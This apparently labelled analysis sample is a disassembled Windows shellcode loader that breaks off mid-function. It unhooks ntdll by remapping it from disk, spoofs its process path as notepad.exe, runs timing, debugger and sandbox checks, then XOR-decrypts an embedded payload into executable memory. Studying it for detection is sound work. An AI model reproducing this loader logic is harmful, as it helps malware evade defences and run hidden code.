Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x948
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8b0], xmm6
mov dword [rbp + 0x8f0], ecx
mov qword [rbp + 0x8f8], rdx
call fcn.1400031c0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x830], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x828], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x820], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a8], rax
cmp qword [rbp + 0x8a8], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a8], rax
cmp qword [rbp + 0x8a8], 0
je 0x1400017c2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
mov rax, qword [rbp + 0x820]
mov r10, qword [rbp + 0x8a8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x818], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x810]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x808], rax
mov rax, qword [rbp + 0x808]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x800], rax
mov rax, qword [rbp + 0x818]
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x818]
add rax, rdx
mov qword [rbp + 0x7f0], rax
mov word [rbp + 0x8a6], 0
jmp 0x1400017aa
mov rax, qword [rbp + 0x7f0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7f0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x8a6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001799
mov dword [rbp + 0x5e8], 0
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x818]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x800]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x818]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5e8]
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x818]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x8a6]
add eax, 1
mov word [rbp + 0x8a6], ax
mov rax, qword [rbp + 0x7f0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x8a6], ax
jb 0x14000166e
mov dword [rbp + 0x5ec], 0
mov rax, qword [rbp + 0x830]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x5ec]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7e0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5f8]
add rax, 0x3c
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7d8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x7d4], 0x317
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
call rax
mov dword [rbp + 0x7bc], eax
mov eax, dword [rbp + 0x7d4]
mov r8, qword [rbp + 0x7c8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x7c0]
call rax
mov dword [rbp + 0x7b8], eax
mov eax, dword [rbp + 0x7b8]
sub eax, dword [rbp + 0x7bc]
cmp eax, 0x2e5
jbe 0x1400030f5
mov qword [rbp + 0x898], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x7b0], rax
cmp qword [rbp + 0x7b0], 0
je 0x14000199c
mov rax, qword [rbp + 0x7b0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x7a8]
mov r9d, 0x3000
mov r8d, 0x442
mov edx, 0
call rax
mov qword [rbp + 0x898], rax
cmp qword [rbp + 0x898], 0
je 0x1400030f5
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x7a0], rax
cmp qword [rbp + 0x7a0], 0
je 0x1400030f5
mov rax, qword [rbp + 0x7a0]
mov edx, 0x49d
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x79c], eax
mov dword [rbp + 0x5e4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5e4]
mov r8, qword [rbp + 0x790]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5e4]
cmp eax, 1
je 0x1400030f5
mov dword [rbp + 0x5e0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5e0]
mov r8, qword [rbp + 0x788]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5e0]
cmp eax, 1
je 0x1400030f5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
call rax
mov dword [rbp + 0x77c], eax
mov ecx, 0x266
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x780]
call rax
mov dword [rbp + 0x778], eax
mov eax, dword [rbp + 0x778]
sub eax, dword [rbp + 0x77c]
cmp eax, 0x234
jbe 0x1400030f5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
jne 0x1400030f5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov ecx, 0
call rax
mov dword [rbp + 0x75c], eax
cmp dword [rbp + 0x75c], 0xffffffff
je 0x1400030f5
mov dword [rbp + 0x758], 0x226
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x74c], eax
mov eax, dword [rbp + 0x758]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x748], eax
mov eax, dword [rbp + 0x748]
sub eax, dword [rbp + 0x74c]
cmp eax, 0x1f4
jbe 0x1400030f5
mov qword [rbp + 0x890], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140001d02
mov rax, qword [rbp + 0x740]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x738]
mov r9d, 0x3000
mov r8d, 0x46c
mov edx, 0
call rax
mov qword [rbp + 0x890], rax
cmp qword [rbp + 0x890], 0
je 0x1400030f5
mov dword [rbp + 0x88c], 0xffffffff
mov ecx, 0xb58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov ecx, 0xb58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
add dword [rbp + 0x88c], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x88c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x730]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x88c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x730]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x88c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x728]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400042f0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x88c], 0x169
jle 0x140001d3c
lea rax, [rbp + 0x120]
lea rdx, [0x140006140]
mov ecx, 0x97
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rbp + 0x880], 0
mov dword [rbp + 0x724], 0x22d
mov dword [rbp + 0x720], 0x116
mov eax, dword [rbp + 0x724]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x888], 0
jmp 0x140001eae
mov eax, dword [rbp + 0x888]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rdx, rax
mov eax, dword [rbp + 0x888]
mov dword [rdx], eax
add dword [rbp + 0x888], 1
mov eax, dword [rbp + 0x888]
cmp eax, dword [rbp + 0x720]
jl 0x140001e85
mov dword [rbp + 0x888], 1
jmp 0x140001f40
mov eax, dword [rbp + 0x888]
mov dword [rbp + 0x884], eax
jmp 0x140001f17
mov edx, dword [rbp + 0x888]
mov eax, dword [rbp + 0x884]
add edx, eax
mov eax, dword [rbp + 0x888]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x884]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x884], 1
mov eax, dword [rbp + 0x720]
sub eax, dword [rbp + 0x888]
mov edx, dword [rbp + 0x888]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x884], eax
jle 0x140001ed6
add dword [rbp + 0x888], 1
mov eax, dword [rbp + 0x888]
cmp eax, dword [rbp + 0x720]
jl 0x140001ec8
cmp dword [rbp + 0x724], 2
jle 0x140001f84
mov eax, dword [rbp + 0x880]
lea edx, [rax + 1]
mov dword [rbp + 0x880], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x888], 1
jmp 0x140001fe8
mov eax, dword [rbp + 0x888]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001fe1
mov eax, dword [rbp + 0x888]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x880]
lea edx, [rax + 1]
mov dword [rbp + 0x880], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x888], 1
mov eax, dword [rbp + 0x888]
cmp eax, dword [rbp + 0x720]
jl 0x140001f90
mov dword [rbp + 0x714], 2
mov dword [rbp + 0x87c], 0
mov dword [rbp + 0x888], 0
jmp 0x140002044
mov eax, dword [rbp + 0x888]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x14000203d
add dword [rbp + 0x87c], 1
add dword [rbp + 0x888], 1
mov eax, dword [rbp + 0x888]
cmp eax, dword [rbp + 0x714]
jl 0x140002016
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x828]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov ecx, 0x12d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov dword [rbp + 0x878], 0
jmp 0x1400020ed
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
movsd xmm1, qword [0x140006600]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x259
jle 0x14000209f
mov dword [rbp + 0x878], 0
jmp 0x140002157
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x878]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x700]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x259
jle 0x140002105
mov rax, qword [rbp + 0x828]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x708]
mov r8d, 0
mov edx, 0x4b7
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov r9, qword [rbp + 0x6f8]
mov r8d, 0x4b7
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x870], 1
jmp 0x140002286
mov dword [rbp + 0x874], 0
mov eax, dword [rbp + 0x870]
mov dword [rbp + 0x86c], eax
jmp 0x14000225c
mov edx, dword [rbp + 0x86c]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x640], edx
mov eax, dword [rbp + 0x640]
imul eax, eax
imul eax, dword [rbp + 0x640]
add dword [rbp + 0x874], eax
mov eax, dword [rbp + 0x86c]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x86c], eax
cmp dword [rbp + 0x86c], 0
jne 0x1400021f1
mov eax, dword [rbp + 0x874]
cmp eax, dword [rbp + 0x870]
jne 0x14000227f
mov eax, dword [rbp + 0x870]
mov dword [rbp + 0x644], eax
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x301
jle 0x1400021d9
mov rax, qword [rbp + 0x830]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x868], 0xffffffff
mov ecx, 0x1698
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov ecx, 0x1698
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
add dword [rbp + 0x868], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x868]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400042f0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x868], 0x2d1
jle 0x1400022e3
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x6e8]
mov r9, qword [rbp + 0x6e0]
mov r8d, 0x4b7
mov rcx, rax
call r9
mov dword [rbp + 0x864], 0
mov dword [rbp + 0x860], 0
mov dword [rbp + 0x85c], 0
mov dword [rbp + 0x6cc], 0
mov ecx, 0xfd8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov ecx, 0xfd8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov ecx, 0xfd8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x858], 0
jmp 0x140002527
mov dword [rbp + 0x854], 0
jmp 0x140002513
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x858]
cdqe
imul rcx, rax, 0x9c
mov rax, qword [rbp + 0x6c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x854]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x858]
cdqe
imul rcx, rax, 0x9c
mov rax, qword [rbp + 0x6b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x854]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x26
jle 0x140002462
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x19
jle 0x140002453
mov dword [rbp + 0x858], 0
jmp 0x1400025fe
mov dword [rbp + 0x854], 0
jmp 0x1400025ea
mov eax, dword [rbp + 0x858]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x6c0]
add rdx, rax
mov eax, dword [rbp + 0x854]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x858]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x6b8]
add rdx, rax
mov eax, dword [rbp + 0x854]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.1400041b0
mov eax, dword [rbp + 0x858]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x6b0]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x854]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x26
jle 0x140002552
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x19
jle 0x140002543
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xec44a97c3979bafa
movabs rdx, 0xa5571969d6f1c095
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xac5520dd60a5952b
movabs rdx, 0x98f05fe13c46d80
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x829c3ce9adc0c9e3
movabs rdx, 0xc91723f96010fedf
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xd4cafefb12cff3dc
movabs rdx, 0xc2d0639a1230e94a
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x2b25d5cf4677210b
movabs rdx, 0xf413426ab63de3e5
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xb95ed6f1afc63729
movabs rdx, 0xd96c50f9a2b9e510
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x10b3f39b2c386cf2
movabs rdx, 0xd491dc662898ef32
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x99d2ef87f17bd48a
movabs rdx, 0x9463f17abc09a8
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x5b77c915dba0aa15
movabs rdx, 0x7c4f863dfe6200f3
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x7025c02ae5669fe
movabs rdx, 0x138a8c80e64720a2
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xd5ef1c2cd7e39062
movabs rdx, 0xf8bfb7273c296bb4
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xfe4e5e06c8dc3754
movabs rdx, 0xc8723b21b2e46a66
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x7f1180130c2c765b
movabs rdx, 0x8ae3c91a0bd2f3a9
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov word [rbp + 0x10], 0x6e
jmp 0x140002855
cmp dword [rbp + 0x860], 0x50
jne 0x14000281c
mov eax, dword [rbp + 0x864]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x860]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x864]
cdqe
mov byte [rbp + rax + 0x20], dl
mov dword [rbp + 0x860], 0
jmp 0x14000284e
mov eax, dword [rbp + 0x864]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x860]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x864]
cdqe
mov byte [rbp + rax + 0x20], dl
add dword [rbp + 0x860], 1
add dword [rbp + 0x864], 1
mov eax, dword [rbp + 0x864]
cmp eax, 0x7e
jbe 0x1400027dc
mov dword [rbp + 0x864], 0
jmp 0x140002d8a
cmp dword [rbp + 0x85c], 0x7e
jne 0x140002b35
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x85c]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x664], 0
mov ecx, 0x2454
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov ecx, 0x2454
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov ecx, 0x2454
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x850], 0
jmp 0x1400029f4
mov dword [rbp + 0x84c], 0
jmp 0x1400029e0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x850]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
sub rax, rcx
